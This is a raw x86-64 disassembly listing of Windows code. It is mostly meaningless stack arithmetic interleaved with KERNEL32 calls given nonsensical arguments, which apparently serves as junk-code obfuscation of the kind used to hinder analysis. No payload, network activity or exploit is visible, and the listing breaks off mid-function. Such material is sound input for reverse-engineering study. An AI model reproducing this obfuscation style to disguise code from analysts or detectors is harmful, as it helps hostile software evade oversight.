mov dword [rcx], eax
lea rax, [rsp + 0x167]
mov qword [rsp + 0x47c0], rax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x46e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3ed8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xca8]
mov word [rsp + 0xd20], ax
lea rax, [rsp + 0xd1c]
mov qword [0x14018bf80], rax
mov rax, qword [rsp + 0x42d8]
mov rcx, qword [rsp + 0x4120]
mov qword [rsp + 0x47c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47c8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3e70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4728]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3b00]
movzx eax, word [rax]
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x4730]
mov rcx, qword [rsp + 0x3de8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4068]
mov qword [rcx], rax
lea rax, [0x14018acd9]
mov qword [rsp + 0x47d0], rax
movzx ecx, word [rsp + 0xc8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc80], ax
mov rax, qword [rsp + 0x41e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4540], rax
mov eax, dword [rsp + 0x2024]
mov rcx, qword [rsp + 0x4368]
mov qword [rsp + 0x47d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4480]
mov dword [rcx], eax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x43b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x3e40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3320]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018be40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2064], eax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x47e0], rax
mov rax, qword [rsp + 0x4148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x42a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3ff0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4320]
mov word [rcx], ax
mov rax, qword [rsp + 0x40a8]
mov eax, dword [rax]
mov dword [rsp + 0x2068], eax
mov rax, qword [rsp + 0x4758]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ad]
and eax, ecx
mov rcx, qword [rsp + 0x4338]
mov byte [rcx], al
mov rax, qword [rsp + 0x3d08]
movzx ecx, al
mov rax, qword [0x14018be10]
shl rax, cl
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x4190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc0]
xor eax, ecx
mov word [rsp + 0xd0c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx eax, word [rsp + 0x3b4]
mov word [0x14018bf88], ax
mov rax, qword [rsp + 0x41d8]
mov rcx, qword [rsp + 0x4718]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0x47e8], rax
mov rax, qword [rsp + 0x4770]
mov rcx, qword [rsp + 0x3390]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f08]
mov qword [rcx], rax
lea rax, [0x14018be58]
mov qword [rsp + 0x47f0], rax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3f30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4140]
mov byte [rcx], al
mov rax, qword [rsp + 0x4408]
mov rax, qword [rax]
mov qword [rsp + 0x47f8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x4800], rax
mov rax, qword [rsp + 0x3e80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40c0]
mov qword [rsp + 0x4808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4808]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3ec0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1e80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4478]
mov dword [rcx], eax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x4810], rax
lea rax, [rsp + 0xc90]
mov qword [0x14018bf90], rax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
movzx eax, word [rsp + 0x8f4]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
lea rax, [rsp + 0xcf0]
mov qword [rsp + 0x4818], rax
mov rax, qword [rsp + 0x44a8]
mov rcx, qword [rsp + 0x45d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x33f8], rax
mov rax, qword [rsp + 0x43d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4210]
mov qword [rcx], rax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x4820], rax
mov rax, qword [rsp + 0x3fa0]
mov ecx, dword [0x14018be78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2040], eax
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x4828], rax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4280]
mov word [rcx], ax
mov rax, qword [rsp + 0x4610]
movzx ecx, al
mov rax, qword [rsp + 0x2b60]
shl rax, cl
mov rcx, qword [0x14018bf30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4788]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xce0]
xor eax, ecx
mov word [rsp + 0xcfc], ax
lea rax, [rsp + 0x3038]
mov qword [rsp + 0x4830], rax
mov rax, qword [rsp + 0x2fc0]
mov rcx, qword [0x14018ace0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
lea rax, [rsp + 0x1fe4]
mov qword [rsp + 0x4838], rax
mov edx, 0x20a8
mov rcx, qword [rsp + 0x4738]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x206c], eax
mov rax, qword [rsp + 0x3358]
mov rcx, qword [rsp + 0x2fa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x4840], rax
movzx eax, byte [rsp + 0x1b6]
movzx ecx, byte [rsp + 0x1b4]
add eax, ecx
mov rcx, qword [rsp + 0x4180]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b8]
add eax, ecx
mov byte [rsp + 0x1b0], al
mov rax, qword [0x14018be20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov word [0x14018bf4c], ax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x4848], rax
movzx eax, word [rsp + 0xa80]
movzx ecx, word [rsp + 0xc94]
sar eax, cl
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
lea rax, [0x14018ad10]
mov qword [rsp + 0x4850], rax
mov rax, qword [rsp + 0x4260]
mov rcx, qword [rsp + 0x3bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov dword [rcx], eax
mov rax, qword [rsp + 0x45b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov rcx, qword [rsp + 0x3f30]
mov byte [rcx], al
lea rax, [rsp + 0x4440]
mov qword [rsp + 0x4858], rax
mov rax, qword [rsp + 0x4710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x45e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4490]
mov word [rcx], ax
movzx eax, word [rsp + 0x39c]
mov word [rsp + 0xd28], ax
lea rax, [0x14018ace0]
mov qword [0x14018bf98], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3880]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4698]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2b60]
mov rcx, qword [rsp + 0x3428]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e40]
mov qword [rcx], rax
lea rax, [0x14018ace0]
mov qword [rsp + 0x4860], rax
movzx eax, word [rsp + 0x618]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xcb8], ax
lea rax, [rsp + 0x1ae]
mov qword [rsp + 0x4868], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4840]
mov rcx, qword [rsp + 0x4358]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4520]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4568]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4418]
mov qword [rcx], rax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0x4870], rax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd18], ax
lea rax, [rsp + 0x1fe4]
mov qword [0x14018bfa0], rax
mov rax, qword [rsp + 0x4710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4640]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc5c], ax
movsx eax, word [rsp + 0x69c]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3f8], ax
movzx eax, word [rsp + 0x694]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4280]
mov word [rcx], ax
mov rax, qword [rsp + 0x46a8]
mov rax, qword [rax]
mov qword [rsp + 0x4878], rax
mov rax, qword [rsp + 0x47c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x47c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4468]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14018bdc0]
shr eax, cl
mov dword [rsp + 0x2038], eax
lea rax, [rsp + 0x4568]
mov qword [rsp + 0x4880], rax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x4848]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc88], ax
movzx eax, word [0x14018ad08]
mov rcx, qword [rsp + 0x4470]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018ad14], ax
mov rax, qword [rsp + 0x4268]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ec0], rax
mov rax, qword [rsp + 0x4668]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x40d8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f8c]
mov rcx, qword [rsp + 0x4410]
mov qword [rsp + 0x4888], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4888]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x44b0]
mov dword [rcx], eax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0x4890], rax
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x69]
or eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x1ec4]
mov qword [rsp + 0x4898], rax
mov rax, qword [rsp + 0x4390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4160]
mov qword [rsp + 0x48a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48a0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x4020]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcac], ax
movzx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x4018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ad08], ax
lea rax, [rsp + 0x3de8]
mov qword [rsp + 0x48a8], rax
mov rax, qword [0x14018bdf8]
mov rcx, qword [rsp + 0x3eb8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4648]
mov qword [rcx], rax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x48b0], rax
movzx eax, word [rsp + 0x694]
mov rcx, qword [rsp + 0x4728]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4078]
mov word [rcx], ax
mov eax, dword [rsp + 0x2038]
mov ecx, dword [0x14018bdc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x44b8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0x2b08]
mov rcx, qword [rsp + 0x4258]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4428]
mov rax, qword [rax]
mov qword [rsp + 0x48b8], rax
lea rax, [rsp + 0xcb4]
mov qword [0x14018bfa8], rax
movzx eax, word [rsp + 0xcd4]
movzx ecx, word [rsp + 0xc34]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
lea rax, [0x14018acda]
mov qword [rsp + 0x48c0], rax
mov rax, qword [rsp + 0x3e20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x4740]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4068]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x48c8], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x48d0], rax
mov eax, dword [rsp + 0x2038]
movzx ecx, al
mov eax, dword [rsp + 0x1c58]
shl eax, cl
mov dword [rsp + 0x1b28], eax
lea rax, [rsp + 0x3358]
mov qword [rsp + 0x48d8], rax
movsx eax, word [rsp + 0x69c]
movsx ecx, word [0x14018bf4c]
or eax, ecx
mov rcx, qword [rsp + 0x4658]
mov word [rcx], ax
mov rax, qword [rsp + 0x4320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4048]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018bf18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f70]
mov qword [rsp + 0x48e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48e0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3eb8], rax
lea rax, [rsp + 0x654]
mov qword [rsp + 0x48e8], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4398]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3f18]
mov word [rcx], ax
lea rax, [rsp + 0x4350]
mov qword [rsp + 0x48f0], rax
mov rax, qword [rsp + 0x3eb0]
mov eax, dword [rax]
mov ecx, dword [0x14018ad0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2048], eax
mov rax, qword [rsp + 0x3fe8]
mov rcx, qword [rsp + 0x4880]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4450]
mov qword [rcx], rax
lea rax, [rsp + 0x175]
mov qword [rsp + 0x48f8], rax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x41b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab4], ax
lea rax, [rsp + 0x3280]
mov qword [0x14018bfb0], rax
mov rax, qword [rsp + 0x4010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3f10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x80], al
mov eax, dword [rsp + 0x1fc0]
movzx ecx, al
mov eax, dword [rsp + 0x202c]
sar eax, cl
mov rcx, qword [rsp + 0x4520]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc7c]
mov word [rsp + 0xd2c], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0xa80]
add eax, ecx
mov rcx, qword [rsp + 0x40d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2024]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x4880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3670], rax
mov rax, qword [0x14018be98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
or eax, ecx
mov byte [rsp + 0x1ac], al
movzx eax, word [rsp + 0xca0]
mov word [rsp + 0xd30], ax
mov rax, qword [rsp + 0x45a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4850]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018be28]
mov word [rcx], ax
mov rax, qword [0x14018bfb0]
mov rcx, qword [rsp + 0x3f08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4428]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ec0]
movzx ecx, al
mov rax, qword [rsp + 0x3038]
sar rax, cl
mov qword [rsp + 0x4360], rax
mov rax, qword [rsp + 0x2fc0]
mov rcx, qword [rsp + 0x3718]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d90], rax
movsx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x4780]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x44c8]
mov word [rcx], ax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0x4900], rax
mov rax, qword [0x14018be48]
mov rcx, qword [rsp + 0x4258]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4540], rax
mov rax, qword [rsp + 0x4480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2024]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2048], eax
movzx eax, byte [rsp + 0x1b6]
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x3e20]
mov ecx, dword [rsp + 0x2030]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x43c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc84]
and eax, ecx
mov word [0x14018be58], ax
lea rax, [rsp + 0x864]
mov qword [rsp + 0x4908], rax
mov rax, qword [rsp + 0x4728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41b8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x48a8]
mov rcx, qword [rsp + 0x46a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4428]
mov qword [rcx], rax
lea rax, [rsp + 0x2034]
mov qword [rsp + 0x4910], rax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x2b08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x47f8], rax
lea rax, [rsp + 0x1b9]
mov qword [rsp + 0x4918], rax
mov rax, qword [rsp + 0x4828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov word [rcx], ax
lea rax, [0x14018acdc]
mov qword [rsp + 0x4920], rax
lea rax, [rsp + 0x3de8]
mov qword [0x14018bfb8], rax
movzx ecx, word [rsp + 0xc8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc8c], ax
movzx eax, word [rsp + 0xcc4]
movzx ecx, word [rsp + 0x3b4]
shl eax, cl
mov word [rsp + 0x654], ax
mov rax, qword [0x14018bfb8]
mov rcx, qword [rsp + 0x4178]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4130]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4830]
mov rax, qword [rax]
mov qword [rsp + 0x4928], rax
mov rax, qword [rsp + 0x4898]
mov rcx, qword [rsp + 0x3eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2068], eax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0x4930], rax
movzx eax, byte [rsp + 0x1b4]
movzx ecx, byte [rsp + 0x1ae]
and eax, ecx
mov rcx, qword [rsp + 0x48c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3bb8]
mov qword [rsp + 0x4938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4938]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x40c8]
mov dword [rcx], eax
lea rax, [0x14018bdc6]
mov qword [rsp + 0x4940], rax
mov rax, qword [rsp + 0x3a70]
movzx eax, word [rax]
mov word [0x14018bfc0], ax
movsx eax, word [rsp + 0xd24]
movsx ecx, word [rsp + 0xd20]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x4948], rax
movzx eax, word [rsp + 0xd00]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
mov rax, qword [rsp + 0x4260]
mov rcx, qword [rsp + 0x4838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f90], eax
lea rax, [0x14018be10]
mov qword [rsp + 0x4950], rax
movsx eax, byte [rsp + 0x1b2]
movsx ecx, byte [rsp + 0x1ad]
sub eax, ecx
mov byte [rsp + 0x152], al
movsx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x41b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x44d8]
shl rax, cl
mov rcx, qword [0x14018bf30]
mov qword [rcx], rax
lea rax, [rsp + 0x3038]
mov qword [rsp + 0x4958], rax
mov rax, qword [0x14018bfb0]
mov rcx, qword [rsp + 0x3e40]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x42c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x48f0]
mov rcx, qword [rsp + 0x42d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4550], rax
lea rax, [rsp + 0x8f4]
mov qword [rsp + 0x4960], rax
mov eax, dword [rsp + 0x2044]
mov ecx, dword [rsp + 0x2030]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4840]
mov dword [rcx], eax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x4968], rax
mov rax, qword [rsp + 0x41c0]
mov rcx, qword [rsp + 0x3eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3fa0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1af]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [rsp + 0x1b5], al
lea rax, [rsp + 0x3358]
mov qword [0x14018bfc8], rax
lea rax, [rsp + 0x69c]
mov qword [rsp + 0x4970], rax
mov rax, qword [0x14018bea0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb48]
sar eax, cl
mov word [rsp + 0xca8], ax
lea rax, [rsp + 0xca4]
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x3cd0]
mov rcx, qword [rsp + 0x3fb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x44c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2038]
mov ecx, dword [0x14018be78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x47a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x45b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0x38a0]
mov rcx, qword [rsp + 0x2b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4568], rax
lea rax, [0x14018bf08]
mov qword [rsp + 0x4980], rax
lea rax, [rsp + 0xd28]
mov qword [0x14018bfd0], rax
mov rax, qword [rsp + 0x4770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x48b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f78], rax
mov r9d, 0x14a6
xor r8d, r8d
lea rdx, [rsp + 0x4660]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x4220]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov word [rsp + 0xca4], ax
lea rax, [rsp + 0x2060]
mov qword [rsp + 0x4988], rax
mov rax, qword [rsp + 0x4968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3e58]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x47e0]
mov byte [rcx], al
lea rax, [0x14018be48]
mov qword [rsp + 0x4990], rax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x1ab]
shl eax, cl
mov byte [rsp + 0x152], al
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x4998], rax
mov rax, qword [rsp + 0x4828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4760]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc98], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0x694]
sar eax, cl
mov rcx, qword [0x14018be68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4740]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
lea rax, [0x14018be30]
mov qword [rsp + 0x49a0], rax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc8c], ax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3b8], ax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x49a8], rax
mov rax, qword [rsp + 0x4258]
mov rcx, qword [rsp + 0x2d60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3e80]
mov ecx, dword [rsp + 0x2068]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4898]
mov dword [rcx], eax
lea rax, [rsp + 0x1b1]
mov qword [rsp + 0x49b0], rax
mov rax, qword [rsp + 0x3f70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14018acf0]
sar rax, cl
mov rcx, qword [rsp + 0x41a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x40b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018be7c], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x49b8], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x44e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x1f68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
lea rax, [rsp + 0x4878]
